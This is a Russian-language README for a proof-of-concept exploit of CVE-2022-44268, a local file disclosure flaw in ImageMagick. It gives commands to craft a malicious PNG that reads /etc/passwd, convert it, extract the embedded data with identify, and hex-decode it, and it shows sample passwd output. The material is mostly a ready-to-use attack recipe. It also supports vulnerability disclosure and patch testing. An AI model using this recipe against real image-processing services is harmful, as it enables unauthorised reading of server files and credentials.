imagemagick-lfi-poc

ImageMagick LFI PoC [CVE-2022-44268]

Исследователи из MetabaseQ обнаружили CVE-2022-44268, то есть ImageMagick 7.1.0-49 уязвим для раскрытия информации. При разборе PNG-изображения (например, для изменения размера) результирующее изображение может содержать встроенное содержимое произвольного удалённого файла (если двоичный файл ImageMagick имеет права на его чтение).

Использование

• Убедитесь, что у вас установлены ImageMagick и необходимые пакеты Python.

(~)>>> python3 generate.py -f "/etc/passwd" -o exploit.png

   [>] ImageMagick LFI PoC - by Sybil Scan Research <[email protected]>
   [>] Generating Blank PNG
   [>] Blank PNG generated
   [>] Placing Payload to read /etc/passwd
   [>] PoC PNG generated > exploit.png

• Преобразуйте сгенерированный PNG-файл:

(~)>>> convert exploit.png result.png

• Прочитайте содержимое преобразованного PNG-файла:

(~)>>> identify -verbose result.png

• Декодируйте данные, возвращённые в поле Raw profile type, и вы увидите содержимое /etc/passwd:

(~)>>> python3 -c 'print(bytes.fromhex("726f6f743a783a726f6f743---REDACTED--").decode("utf-8"))'


root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin

Ссылки

• https://www.metabaseq.com/imagemagick-zero-days/
• https://github.com/duc-nt/CVE-2022-44268-ImageMagick-Arbitrary-File-Read-PoC